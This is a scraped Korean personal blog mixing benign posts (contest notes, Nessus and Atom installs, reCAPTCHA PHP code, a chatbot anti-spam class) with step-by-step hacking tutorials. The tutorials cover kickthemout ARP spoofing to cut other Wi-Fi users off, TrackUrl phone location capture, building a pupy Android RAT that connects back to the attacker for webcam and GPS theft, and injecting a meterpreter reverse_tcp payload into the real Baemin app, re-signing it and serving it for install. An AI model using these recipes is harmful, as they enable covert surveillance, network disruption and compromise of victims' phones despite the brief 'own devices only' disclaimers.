반응형
반응형
반응형

Day1은 올클인데 Day2부터 난이도가 높게 느껴졌다...

 

Day3때는 14번 문제 50점 받은것 외엔 문제를 풀지 못했다.

 

 

어떤 문제는 시간초과로 점수를 받지 못했는데, 시간 복잡도를 줄이는 것이 제일 큰 관건이었던 것 같다. (대부분 해결하지 못했다.)

 

 

그리고 코드챌린지와는 채점방식이 달랐다. 코드챌린지는 채점 케이스 하나마다 점수가 있었는데, NYPC는 케이스를 묶어서 종류로 주는데, 이 종류안에 있는 케이스를 모두 통과해야 그 종류에 배정된 점수를 주었다.

 

그래서 야매로 점수를 조금이라도 받는걸 할 수 없었다. 코드챌린지때는 야매로 풀어서 점수를 조금이라도 받은 것이 도움이 되어 본선에 갈 수 있었다.

 

 

어짜피 알고리즘은 공부한 적이 없고 재미로 푸는 거긴 하지만

 

문제 풀이 (python3):

github.com/M4ndU/algorithm_task/tree/master/NYPC2019

반응형
반응형

1. nessus 다운로드


https://www.tenable.com/downloads/nessus


위 링크를 통해 다운로드 받으실 수 있습니다. 





자신의 운영체제에 맞는 설치파일을 다운받으시면 됩니다.


저는 kali linux 64bit에 설치할 것이기 때문에, 첫 번째에 있는 설치파일을 다운받았습니다.







2. activation code 얻기


아까 다운로드 페이지 상단에서 get activation code 를 클릭합니다.






오른쪽 nessus home의 register now 클릭





이름과 이메일을 입력해줍니다. 그러면 입력한 메일로 코드가 오게 됩니다.






3. nessus 설치


터미널에서 다운받은 경로에서 아래 명령어를 입력해줍니다.


chmod +x Nessus-8.2.1-debian6_amd64.deb

dpkg -i Nessus-8.2.1-debian6_amd64.deb 


(Nessus-8.2.1-debian6_amd64.deb 는 제가 받은 설치 파일명입니다.)




설치가 완료되면 터미널에 나온 메세지에 따라서


/etc/init.d/nessusd start


로 시작하고

그 아랫줄에 나온 url을 브라우저에 입력해서 접속해 줍니다.




Advanced > add Exepction...





(1/3) 계정 생성





(2/3) 코드 입력






(3/3) 이 부분은 시간이 상당히 오래 걸립니다. 기다리시면 됩니다.






에러가 날 경우, kali linux 기준으로, /opt/nessus/sbin에서 ./nessuscli update 명령어를 실행하면 다시 다운로드를 받을 수 있습니다. 필요 용량은 약 30GB라고 합니다.




설치가 완료되면, 페이지에서 로그인 하시면 됩니다,








4. 사용 방법



New Scan 클릭




저는 basic network scan을 해보겠습니다.





이름, 설명, ip를 입력해주고 save





launch 버튼을 클릭해 스캔을 시작합니다.










스캔이 완료된 후에 들어가보면, 찾은 취약점 정보를 확인할 수 있습니다.


반응형
반응형

Traceback (most recent call last):

  File "/usr/bin/pip", line 9, in <module>

    from pip import main

ImportError: cannot import name main



위와같은 에러가 나온다면 아래 명령어를 입력해서 해결할 수 있다.


python -m pip uninstall pip

반응형
반응형

리캡챠를 적용할 페이지는 login.php (.html이어도 적용 가능합니다.), 검증을 하는 페이지는 login_chk.php (php로 작성하였습니다.)로 가정을 하겠습니다.




1. 리캡챠 키를 생성


아래 링크에 접속합니다.

https://www.google.com/recaptcha/admin






Label 에는 그냥 이름 하나 적어줍니다. ex) login page


reCAPTCHA v3를 선택하고,


Domains에 사이트 도메인을 적어주고,


정책 동의에 체크한 후 register을 누릅니다.



Site key 와 Secret key는 기록해 둡니다.






2. 코드 삽입 (login.php)


login.php에서 <head></head> 태그 사이에 아래 코드를 삽입합니다.

<Site Key> 에 자신의 Site key를 입력합니다.


<script src='https://www.google.com/recaptcha/api.js?render=<Site key>'></script>


<script type="text/javascript">

  grecaptcha.ready(function() {

   grecaptcha.execute('<Site Key>', {action: 'loginpage'})

   .then(function(token) {

    document.getElementById('g-recaptcha-response').value = token;

   });

  });

</script>



login page 에서 로그인 <form> 태그안에 아래 코드를 삽입합니다.



    <form name="login_form" method="post" action="./login_chk.php">

...(중략)....

      <input type="hidden" id="g-recaptcha-response" name="g-recaptcha-response">

    </form>






3. 코드 삽입 (login_chk.php)



php 코드 안에 아래 코드를 삽입합니다.

<Secret key> 안에 자신의 Secret key를 입력하면 됩니다.


//recaptcha

$captcha=$_POST['g-recaptcha-response'];

$secretKey = "<Secret key>";

$ip = $_SERVER['REMOTE_ADDR'];

$response = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=".$secretKey."&response=".$captcha."&remoteip=".$ip);

$responseKeys = json_decode($response,true);


if($responseKeys["success"]) {

  //통과한 경우의 코드를 작성

 }

else {

  //통과하지 못한 경우의 코드를 작성

 }

//recaptcha


조건 if($responseKeys["success"]) 이 외에도 https://developers.google.com/recaptcha/docs/v3 문서의 Site Verify Response 부분을 참조하여 통과여부를 설정할 수 있습니다. 저는 간단히 success 부분만 받아 검증한 것입니다.



반응형
반응형


https://atom.io/ 에서 deb버전으로 설치파일을 다운로드 받는다.


다운로드 받은 경로로 이동한 뒤,


sudo apt install gdebi-core


sudo gdebi atom-amd64.deb


개인적으로, 이때까지 설치한 방법들 중에서 이 방법이 가장 빨랐다.

반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


kickthemout으로 같은 와이파이에 있는 이용자의 인터넷을 막아보기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰 (그 외 와이파이 지원 기기들)

- kali linux





공격 기기와 공격 대상 기기 모두 같은 네트워크에 연결되어 있어야 합니다.


먼저, 인터넷이 잘되는지 확인해주셔야 합니다.





1. kickthemout을 설치합니다.


github : https://github.com/k4m4/kickthemout



readme에 운영체제 각각의 설치방법이 있습니다.


저는 kali linux를 사용하므로 데비안 설치방법을 따라하겠습니다.


~ ❯❯❯ sudo apt-get update && sudo apt-get install nmap

~ ❯❯❯ git clone https://github.com/k4m4/kickthemout.git

~ ❯❯❯ cd kickthemout/

~/kickthemout ❯❯❯ sudo -H pip3 install -r requirements.txt


~/kickthemout ❯❯❯ sudo python3 kickthemout.py

실행 전에, scapy도 설치해주셔야 합니다. sudo pip3 install scapy







2. 실행.....아니 오류 해결


저는 실행을 하자 이런 오류가 났습니다. 그래서 해결방법을 찾아보았고, 찾을 수 있었습니다.


https://github.com/k4m4/kickthemout/pull/294






코드를 수정하라고 하네요.





gedit으로 해당 코드를 수정하고 실행을 해주었습니다.







3. 진짜 실행


자동으로 스캔을 하고



메인메뉴로 진입하게 됩니다. 현재 2개의 호스트가 존재한다고 하네요.




저는 타겟 한개만을 대상으로 공격을 할 것이므로, 1을 입력했습니다.



공격 대상이 1번에 있으니 1을 입력해주겠습니다.



그럼 자동으로 스푸핑이 진행됩니다. 이때 해당 기기로 인터넷에 접속한다면?





인터넷이 안되는 것을 확인할 수 있습니다. 그럼 사용자는 인내심이 한계에 도달에 다른 네트워크에 접속하려고 할 것입니다.


그래서 이름이 kickthemout....

반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


Trackurl로 스마트폰 위치추적하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰 (gps되는 스마트폰이면 다 됩니다.)

- kali linux




1. trackurl을 다운로드 받습니다.


https://github.com/zanyarjamal/TrackUrl




git clone https://github.com/zanyarjamal/TrackUrl







2. Trackurl 폴더로 이동하여 Trackurl.sh파일의 내용을 약간 변경햐줍니다.


gedit Trackurl.sh





xterm -e ./ngrok http 80 & clear 를


gnome-terminal -e "./ngrok http 80" 으로 변경해 주었습니다.


이 외에도 이미지 경로를 수정하여 자신이 원하는 이미지로 변경해줄 수 있습니다.





3. Trackurl.sh를 실행합니다.


./Trackurl.sh


새로운 터미널 창이 하나 뜨게 되고 url이 표시됩니다.

https://로 시작하는 url을 원래 터미널 창에 입력해줍니다.






4. 스마트폰으로 해당 url에 접속합니다.

그러면 터미널에 로그가 남습니다.




빨간색으로 표시된 부분(일부 가렸습니다.)이 gps값입니다. 해당 값을 구글지도에 검색하면 해당 위치가 표시됨을 알 수 있습니다.




반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


pupy로 안드로이드 해킹하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- kali linux


 


1. pupy를 다운로드 받고 설치합니다.

https://github.com/n1nj4sec/pupy



다음 명령어를 순서대로 입력했습니다.


git clone https://github.com/n1nj4sec/pupy.git pupy


cd pupy


git submodule init


git submodule update


pip install -r pupy/requirements.txt


wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz


tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates 







정상적으로 설치됨을 확인합니다.




2. pupysh를 실행해봅니다.


python pupysh.py





패스워드를 입력하는 부분에서는 칼리리눅스 계정 패스워드를 입력하면 됩니다.


정상적으로 서버가 동작함을 확인하고 exit명령어로 서버를 종료했습니다.

 


3. 이제 악성코드를 만들어봅시다.

 

악성코드는 pupygen.py로 만들 수 있습니다.


python pupygen.py -O android -o mandu.apk connect --host 192.168.0.7 --transport ssl


(저는 mandu.apk라는 이름으로 생성하였습니다.)


옵션 설명

-O 해킹할 운영체제

-o 출력할 파일명


connect

--host 칼리리눅스(공격자의 컴퓨터)의 아이피 (ifconfig 명령어로 자신의 아이피를 확인할 수 있습니다.)

--transport ssl (pupy.conf.default에 작성된 내용 그대로 입력하면 됩니다. ssl으로 기본설정 되어있습니다.)




4. 만들어진 악성코드 파일을 안드로이드 기기가 다운받을 수 있도록 아파치 서버에 업로드 하였습니다.



파일에 권한을 부여하고, 아파치 서버를 가동하였습니다.


mv mandu.apk /var/www/html/ #파일 이동


chmod 777 /var/www/html/mandu.apk #권한 부여


service apache2 start #아파치 서버 시작

 



5. 안드로이드 기기에서 해당 파일을 다운로드 받습니다.


http://192.168.0.7/mandu.apk

 

그리고 설치합니다.




6. 칼리리눅스 (공격자의 컴퓨터)에서 서버를 실행합니다.


python pupysh.py

 

서버가 대기상태가 됩니다.



7. 안드로이드 기기에서 해당 어플을 실행합니다.

안드로이드 기기에서는 와이파이 설정 화면으로 이동하게 됩니다.

10초후 공격자 컴퓨터의 pupysh.py에서는 하나의 세션이 잡히게 됩니다.




8. list_modules 라는 명령어를 통해 pupy에서 사용할 수 있는 모듈을 목록을 확인할 수 있습니다.

 

run gather/webcamsnap 명령어를 통해 카메라로 사진을 찍어 볼 수 있습니다

 

run gather/gpstracker --start 명령어를 통해 해당 기기의 gps값을 트래킹하고,(15초 마다 gps값을 가져옵니다.)

run gather/gpstracker --dump 명령어를 통해 가져온 gps값을 확인할 수 있습니다. (파일이 저장됩니다.)

얻은 gps값을 구글지도에 검색하면 실제 기기의 위치정보를 확인할 수 있습니다. 매우 정확합니다.

 

이 외에도 pupy는 다양하고 많은 모듈을 지원하므로 다른 정보들도 가져오는 것이 가능함을 알 수 있습니다.

반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


안드로이드 어플리케이션 후킹하기

커버로스님의 영상 : https://www.youtube.com/watch?v=4YCwXZ1SVls&t=717s


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 5 플러스입니다.

후킹할 어플리케이션으로 배달의 민족을 사용했습니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- 후킹할 어플

- kali linux



* 칼리 리눅스에 설치되어 있는 apktool 2.3.1는 어플을 빌드하는 과정중에 오류가 발생하므로,

https://bitbucket.org/iBotPeaches/apktool/downloads/ 에서 최신버전을 다운로드 받아 사용하였습니다. (2.3.3)



1.어플리케이션 다운로드 받기



https://apkpure.com/ 에서 후킹할 apk파일을 다운로드 받습니다. 저는 '배달의 민족' 어플리케이션을 사용하였습니다.


그 뒤 파일명을 baedal.apk로 바꾸었습니다.



2. msfvenom을 이용하여 악성코드 apk파일을 생성합니다.

저는 payload.apk로 만들었습니다.

lhostPCip주소를, lport로는 4444로 지정해주었습니다.


# msfvenom p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=4444 o payload.apk




3. payload.apk baedal.apk 모두 apktool를 이용하여 디패키징합니다.




4. payload/smali/com/에 있는 metasploit/baedal/smali/com/으로 복사합니다.




5. baedal/payload/에 있는 각각의 AndroidManifest.xml파일을 gedit을 통해 엽니다.


# gedit AndroidManifest.xml




6. payload의 권한과 기능을 baedal로 복사합니다.


payloadAndroidManifest.xml에 있는 모든 permissionfeature부분을 복사하여

baedalAndroidManifest.xml로 붙여넣기합니다.



^ payloadAndroidManifest.xml에 있는 모든 permissionfeature부분




^ baedalAndroidManifest.xml로 붙여넣기한 모습



7. 어플리케이션이 처음 실행될 때 시작되는 Activity 부분을 찾습니다.

launchermain은 항상 붙어다니기 때문에 launcher을 검색하여 main부분을 찾습니다.




^ category인 LAUNCHER 바로 위에 action인 MAIN이 보입니다.



main이 포함되어있는 activity가 앱이 처음 실행될 때 시작되는 activity입니다.

activity파일의 경로를 확인합니다.



com.baemin.presentation.ui.GateWayActivity



8. 위 경로를 따라 GateWayActivity파일을 찾아 엽니다.




onCreate 함수를 찾습니다.

어플리케이션이 처음 실행될 때 무엇인가가 생성되는 부분임을 알 수 있습니다.




metasploit/stage/ 에 있는 MainService.smali파일을 cat명령어로 출력한 뒤

출력된 문자열중 최하단에서 4번째줄의 명령어를 복사하여

invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate...(생략) 부분 바로 아래에 붙여넣습니다.




이 것을 후킹이라고 합니다.



9. 이제 apktool을 사용하여 baedal/을 빌드(패키징)해줍니다. -o 옵션으로 baemin.apk라는 이름을 주었습니다.



빌드중 에러가 발생했습니다. 이정도 에러는 보고 수정해준뒤 다시 빌드하면 됩니다.

에러를 보니 keyboardNavigationCluster 를 찾을 수 없는 것 같은데, 그냥 지우고 다시 빌드합니다.




빌드에 성공했습니다.



빌드에 성공하여 baemin.apk파일을 확인할 수 있습니다.




10. baemin.apk에 서명을 합니다.

서명되지 않은 안드로이드 어플리케이션은 안드로이드 기기에 설치할 수 없으므로 서명을 꼭 해야합니다.


keytooljarsigner을 사용하여 baemin.apk 서명작업을 진행하였습니다.

그 전에 keytool이 정상적으로 동작할 수 있도록 home/.android파일을 생성해줍니다.


# cd ~

# mkdir .android

 

# keytool genkey v keystore ~/.android/debug.keystore storepass android alias androiddebugkey keypass android validity 9999

(옵션 validity 99999999일 동안 유효함을 의미합니다.)


# jarsigner verbose keystore ~/.android/debug.keystore storepass android keypass android sigalg SHA256withDSA baemin.apk androiddebugkey




11. 해킹될 기기에서 해당 어플리케이션을 다운로드 받습니다.


아파치 서버를 열고, 서버 경로에 baemin.apk를 옮겨둡니다.




안드로이드 기기에서 http://192.168.0.7/baemin.apk로 이동하여 파일을 다운로드 받습니다.



12. msfconsole 사용을 위해 handler.rc파일을 생성합니다.


# vi handler.rc




postgresql를 시작하고, msfconsole도 시작합니다.


# service postgresql start

# msfconsole r handler.rc



13. 안드로이드 기기에서 baedal.apk파일을 설치하고 실행합니다.




실행시, 정상적인 배달의 민족 어플리케이션으로 보이게 됩니다.

그러나 PC에서는 세션이 하나 잡히게 됩니다.



 

세션을 확인하고 연결합니다.



이제 해킹에 성공한 것입니다.

해당 기기의 정보를 확인할 수도 있으며(sysinfo), 스크린샷을 찍어 볼 수도 있습니다(screenshot).




반응형
반응형

반복적으로 같은 요청을 하는 (도배)를 막는 기능을 추가하겠습니다.




kakao auto_reply에서 제공하는 user_key를 이용하겠습니다.

user_key는 옐로우 아이디 마다 부여되는 고유 키값입니다.


처음에는 user_key값을 이용하여 반복적으로 동일한 요청을 해올 경우 딜레이를 주는 방법을 사용하려고 했지만

구현할 방법을 모르겠어서...


직전에 요청한 유저와 다음 요청해온 유저가 같을 경우 함수를 실행하지 않고 리턴하는 방법을 사용하겠습니다.

이 경우 다른 유저가 요청해오지 않는 이상 한 유저가 연속으로 요청을 할 수가 없게 되죠.


도배로 고통받는 개발자...




모든 요청(버튼)에 대해서 적용하는 방법과 각각의 요청(버튼)에 적용하는 방법이 있습니다.

모든 요청(버튼)에 적용하게 되면 한 요청을 했을 때 바로 다른 요청을 할 수가 없으므로

각각에 요청에 적용하는 방법을 사용하겠습니다.

그러기 위해서 class 를 사용하겠습니다.





코드 작성하기


적용된 전체 코드 :  https://github.com/M4ndU/inhun_kakao_chat_bot_2/blob/master/views.py




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class user_chk():
 
    def __init__(self):
        self.pre_key = "" #이전 user_key값
        self.now_key = "" #현재 user_key값
 
    def check(self, key):
        self.now_key = key # now_key값에 현재 user_key값 대입
 
        if self.pre_key == self.now_key : # 비교 하여 같으면 1을 반환
            passcode = 1
        else :
            self.pre_key = self.now_key # 다를 경우 pre_key값에 now_key값을 덮어쓰고 0 반환
            passcode = 0
        return passcode
cs



바로 다음 코드들을 작성하여 값 초기화 설정을 해 둡니다.

필요한 개수 만큼 작성합니다.


1
2
3
4
 
u0 = user_chk()
u1 = user_chk()
 
cs



이렇게 하면, u0.check(user_key)를 실행하게 될 경우

이전 user_key값(=pre_key)과 비교하여 같으면 1 반환, 다르면 pre_key에 저장하고 0을 반환합니다.


u0, u1각각 독립적으로 사용되기 때문에 u0.check("dd")를 했다고 해서 u1.pre_key에 dd가 드러가지 않는 것이죠.

이를 통해 각각 요청(버튼)에 적용하여 사용할 수 있습니다.



이제 user_key값을 가져와 봅시다.


1
2
3
4
...
    datacontent = received_json_data['content']
    user_key = received_json_data['user_key']
 
cs


기존 작성했던 datacontent = received_json_data['content'] 바로 밑에 작성해 줍니다.




user_key값도 불러왔으니 이제 각 분기마다 적용해줍니다.


https://github.com/M4ndU/inhun_kakao_chat_bot_2/blob/master/views.py

92~104


92
93
94
95
96
97
98
99
100
101
102
103
104
    if datacontent == '오늘 급식':
        if u0.check(user_key):
            return ret_proc(PlzStopIt)
        dt = datetime.datetime.today()
        diet = get_meal(dt)
        return ret_proc(diet)
 
    elif datacontent == '내일 급식':
        if u1.check(user_key):
            return ret_proc(PlzStopIt)
        dt = datetime.datetime.today() + datetime.timedelta(days=1)
        diet = get_meal(dt)
        return ret_proc(diet)
cs



        if u0.check(user_key):

            return ret_proc(PlzStopIt)


를 통해서 u0.pre_key = u0.now_key가 되어 1을 반환하게 되면

조건이 True가 되어 밑에 작업을 진행하지 않고 바로 문자열을 바로 반환합니다.

그럴려면 PlzStopIt에 문자열을 저장해주어야 겠죠?


반응형

+ Recent posts